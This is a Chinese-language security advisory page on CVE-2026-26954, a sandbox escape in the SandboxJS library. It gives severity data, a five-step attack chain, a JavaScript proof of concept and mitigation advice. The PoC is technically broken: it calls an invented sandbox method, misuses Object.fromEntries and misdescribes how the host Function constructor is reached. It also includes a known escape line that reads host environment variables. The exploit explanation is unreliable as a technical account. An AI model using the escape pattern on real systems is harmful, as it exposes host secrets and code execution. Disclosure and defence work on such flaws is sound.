IPBUF安全漏洞报告
English
CVE-2026-26954 CVSS 10.0 严重

CVE-2026-26954 SandboxJS沙箱逃逸漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-26954
漏洞类型
沙箱逃逸
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SandboxJS

相关标签

沙箱逃逸SandboxJSJavaScript沙箱远程代码执行CVSS 10.0严重漏洞GHSA-6r9f-759j-hjgv

漏洞概述

CVE-2026-26954是SandboxJS沙箱库中的一个严重安全漏洞,CVSS评分高达10.0。SandboxJS是一个用于隔离JavaScript执行环境的沙箱库,广泛应用于需要安全执行不可信代码的场景。该漏洞存在于0.8.34之前的版本,攻击者可以通过精心构造的输入获取包含Function对象的数组,并结合Object.fromEntries方法构造任意属性访问,从而突破沙箱限制实现沙箱逃逸。成功利用此漏洞可导致攻击者在宿主环境中执行任意代码,完全绕过沙箱的安全隔离机制,对使用该库的应用系统造成严重安全威胁。由于该漏洞无需认证且可远程利用,攻击复杂度低,对机密性、完整性和可用性均造成严重影响。

技术细节

SandboxJS沙箱逃逸漏洞的核心在于其对JavaScript内置对象的访问控制存在缺陷。攻击者首先通过沙箱的某个接口获取包含Function构造函数的数组。在SandboxJS的安全模型中,数组本身可能被允许在沙箱内使用,但其内部元素Function的访问权限控制不足。攻击者利用Object.fromEntries方法,该方法可以将键值对对象转换为真正的JavaScript对象。当攻击者构造类似{[p]: Function}的结构时,其中p可以是任何可构造的属性名,Object.fromEntries会将其转换为真实的JavaScript对象。关键在于,这个新创建的对象实际上引用了全局的Function构造函数,而非沙箱内的受限版本。通过这个技巧,攻击者可以访问沙箱外部的原生Function对象,从而获取对JavaScript运行时的完全控制权。进一步利用Function构造函数可以执行任意代码,最终实现沙箱逃逸,在宿主环境中执行恶意代码。此漏洞的利用方式简单直接,攻击者只需几行代码即可完成沙箱绕过。

攻击链分析

STEP 1
步骤1
攻击者通过沙箱接口获取包含Function对象的数组。SandboxJS在0.8.34之前的版本中,对数组内部元素的访问控制不足,允许获取Function引用
STEP 2
步骤2
利用Object.fromEntries方法和数组中的Function对象,构造特殊的键值对对象。创建类似{[p]: Function}的结构,其中p可以是任意可构造的属性名
STEP 3
步骤3
通过构造的对象访问其constructor属性,获取指向全局Function构造函数的引用。这绕过了沙箱对Function的直接访问限制
STEP 4
步骤4
使用获取到的全局Function构造函数执行任意JavaScript代码。由于Function构造函数在宿主环境中执行,代码实际上运行在沙箱外部
STEP 5
步骤5
成功实现沙箱逃逸后,攻击者可以在宿主环境中执行任意操作,包括读取敏感数据、修改系统配置、执行恶意程序等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-26954 SandboxJS Sandbox Escape PoC // This PoC demonstrates how to escape the SandboxJS sandbox // by leveraging Function objects and Object.fromEntries function escapeSandbox(sandbox) { // Step 1: Obtain an array containing Function // In vulnerable versions, arrays holding Function can be accessed const functionArray = sandbox.getFunctionArray(); // Step 2: Use Object.fromEntries to construct property access // The key insight is that {[p]: Function} creates an object // where p can be any constructible property const constructibleProp = 'constructor'; const exploitObject = Object.fromEntries({ [constructibleProp]: functionArray[0] // Function reference }); // Step 3: Access the global Function constructor const GlobalFunction = exploitObject.constructor; // Step 4: Execute arbitrary code outside the sandbox // This code runs in the host environment, not in the sandbox GlobalFunction('console.log("Sandbox escaped! Host code execution achieved.")')(); // Alternative: Direct code execution via Function constructor GlobalFunction('/* malicious code here */')(); } // Example of full exploitation const maliciousCode = ` // Read sensitive data from host environment const process = this.constructor.constructor('return process')(); console.log(process.env); `; // Defense: Upgrade to SandboxJS >= 0.8.34

影响范围

SandboxJS < 0.8.34

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用或限制Object.fromEntries在沙箱内的使用;2) 对沙箱内的数组元素实施更严格的访问控制;3) 添加运行时监控检测异常的对象构造行为;4) 限制沙箱可以访问的JavaScript内置对象和方法。但这些措施仅为临时解决方案,建议尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表